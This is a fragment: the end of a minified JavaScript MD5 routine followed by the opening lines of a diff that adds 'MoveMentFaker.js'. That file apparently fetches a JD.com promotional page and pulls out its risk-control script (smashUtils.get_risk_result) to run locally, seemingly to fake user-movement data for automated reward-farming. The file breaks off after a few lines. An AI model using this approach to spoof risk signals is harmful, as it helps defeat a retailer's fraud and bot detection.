e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255)}return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1){u[r]=909522486^o[r],c[r]=1549556828^o[r]}return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t)}return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}md5=A}(this); diff --git a/utils/MoveMentFaker.js b/utils/MoveMentFaker.js new file mode 100644 index 0000000..de7eb4c --- /dev/null +++ b/utils/MoveMentFaker.js @@ -0,0 +1,139 @@ +const https = require('https'); +const fs = require('fs/promises'); +const { R_OK } = require('fs').constants; +const vm = require('vm'); +const UA = require('../USER_AGENTS.js').USER_AGENT; + +const URL = 'https://wbbny.m.jd.com/babelDiy/Zeus/2rtpffK8wqNyPBH6wyUDuBKoAbCt/index.html'; +// const REG_MODULE = /(\d+)\:function\(.*(?=smashUtils\.get_risk_result)/gm; +const SYNTAX_MODULE = '!function(n){var r={};function o(e){if(r[e])'; +const REG_SCRIPT = /